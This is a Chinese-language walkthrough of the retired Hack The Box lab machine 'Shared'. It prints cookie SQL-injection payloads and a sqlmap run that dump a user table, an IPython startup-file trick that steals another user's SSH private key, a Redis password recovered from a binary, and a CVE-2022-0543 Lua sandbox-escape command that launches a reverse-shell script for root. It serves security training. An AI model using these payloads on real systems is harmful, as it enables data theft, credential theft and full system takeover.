Shared Writeup

概述 (Overview)

500

HOST: 10.10.11.172

OS: Linux

发布时间: 2022-07-23

完成时间: 2022-07-29

机器作者: Nauten

困难程度: Medium

机器状态: Retired

MACHINE TAGS: #SQLi #CommandInjection #Redis

攻击链 (Kiillchain)

HTB 关于 Shared

Shared 是一个 Medium 难度的 Linux 机器,其特点是通过一个 Cookie SQL 注入可以得到一个立足点,然后通过逆向分析 Golang 二进制文件并利用两个 CVE 获得 root shell 来升级权限。

枚举(Enumeration)

使用 Nmap 工具对目标服务器暴漏端口进行枚举。

PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA) | 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA) |_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519) 80/tcp open http | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://shared.htb 443/tcp open https | http-cisco-anyconnect: |_ ERROR: Failed to connect to SSL VPN server | tls-nextprotoneg: | h2 |_ http/1.1 | tls-alpn: | h2 |_ http/1.1 | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US | Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-03-20T13:37:14 | Not valid after: 2042-03-15T13:37:14 | MD5: fb0b 4ab4 9ee7 d95d ae43 239a fca4 c59e |_SHA-1: 6ccd a103 5d29 a441 0aa2 0e32 79c4 83e1 750a d0a0 |_http-title: Did not follow redirect to https://shared.htb |_ssl-date: TLS randomness does not represent time | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS

从结果中得到服务器的 Web 应用域名为 shared.htb,对外暴漏的端口也很少。

Port 443 - shared.htb

先将域名加入 hosts 文件,使用浏览器访问能看到一个购物站。

700

简单浏览下功能, 能在购物车页面下发现新的二级域名 checkout.shared.htb

700

立足点(Foothold)

将二级域名加入 hosts 文件,浏览器访问能看到账单卡支付页面。

700

通过观察页面发送的交互请求,发现数据是存储在 Cookie 中进行跨域名传递的。开启 burp 抓取请求包进行参数漏洞枚举,简单测试后发现存在 SQL 注入漏洞。

正常 Cookie 请求,页面数值显示正常

700

修改 Cookie 请求内容,页面数值显示错误

700

修改 Cookie 请求内容,通过 SQL 注入语句验证查询

700

接下来就简单了,构建 SQL 查询 Payload 获取数据库中 user 表中的数据。

http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"53GG2EF8' order by 3 -- \":\"2\"}" --verify=false http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,2,3 -- \":\"2\"}" --verify=false http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select database()),3 -- \":\"2\"}" --verify=false http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='checkout'),3 -- \":\"2\"}" --verify=false http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='checkout'),3 -- \":\"2\"}" --verify=false

除了上面的手工注入外,也可以使用 SQLMAP 工具直接跑数据。

sqlmap -u "https://checkout.shared.htb/" --cookie "custom_cart={"*":"1*","*":"1"}" -batch --level=5 ...snip... database: checkout version: 10.5.15-MariaDB-0+deb11u1 tables: user,product user.column: id,username,password james_mason:fc895d4eddc2fc12f995e18c865cf273 // md5明文查询 Soleil101 (james_mason)

成功使用 Soleil101 口令密码成功登录服务器,拿到立足点。

image

横向移动(Lateral Movement)

当前 shell 的 home 目录下并没有 user flag,需要想办法横移到 dan_smith 用户下查看。

james_mason@shared:/home/dan_smith$ ls -lsh total 4.0K 4.0K -rw-r----- 1 root dan_smith 33 Jul 29 00:36 user.txt

运行 id 命令 发现 dan_smith 用户多了个 developer 组,直接 find 命令全局搜索下发现对 /opt/scripts_review 文件夹有读写权限,但目录中没有内容。

james_mason@shared:/var/www$ find / -group developer 2>/dev/null /opt/scripts_review james_mason@shared:/var/www$ ls /opt/scripts_review/ james_mason@shared:/var/www$ ls -la /opt/scripts_review/ total 8 drwxrwx--- 2 root developer 4096 Jul 14 13:46 . drwxr-xr-x 3 root root 4096 Jul 14 13:46 .. james_mason@shared:/var/www$

在没有获得更多信息的前提下,将 pspy 工具传递至目标服务器运行监听计划任务,发现 dan_smith 用户会定时 ipython。

800

查看 github 中的 IPython 描述:IPython(Interactive Python)是一种用于多种编程语言的交互式计算的命令 shell,最初是为 Python 编程语言开发的,它提供内省、富媒体、shell 语法、制表符补全和历史记录等功能。

随后在官方库的 security 中能够找到一个历史漏洞,该漏洞允许一个用户以另一个用户身份运行代码。

https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x

参考 Payload 进行修改,将 dan_smith 用户的 ssh 私钥提取出来。

mkdir -m 777 /opt/scripts_review/profile_default mkdir -m 777 /opt/scripts_review/profile_default/startup echo "import os; os.system('cat ~/.ssh/id_rsa > /tmp/rsa')" > /opt/scripts_review/profile_default/startup/foo.py

等待定时任务执行后成功获取私钥,使用该私钥成功完成用户横移。

james_mason@shared:~$ cat /tmp/rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwE...snip...JlZAECAwQFBg== -----END OPENSSH PRIVATE KEY-----

权限提升(Privilege Escalation)

发现 dan_smith 用户有一个 sysadmin 组,继续使用 find 查询全局文件,发现有一个 redis_connector_dev 二进制程序。

dan_smith@shared:/var/www/shared.htb/ps/config$ groups dan_smith developer sysadmin dan_smith@shared:/var/www/shared.htb/ps/config$ find / -group sysadmin 2>/dev/null /usr/local/bin/redis_connector_dev

500

简单执行该二进制程序发现输出了 redis info 详情,直接连接是需要口令的 NOAUTH Authentication required。将文件下载到 kali 上进行分析,使用 DiE 查壳能获知是 go amd64 程序,接着使用 IDA 载入后查看发现 Redis 连接密码 F2WHqJUz2WEz=Gqq

700

根据 Redis 版本查询历史漏洞发现存在 CVE-2022-0543,允许执行 Lua 脚本进行任意代码执行。

https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/

验证下文章中的 Payload 确认漏洞存在。

700

接着就简单了,直接创建一个反弹 shell 的 bash 脚本赋值执行权,利用 lua 脚本执行成功拿到 root shell。

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash /home/dan_smith/shell.sh", "r"); local res = f:read("*a"); f:close(); return res' 0

800

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。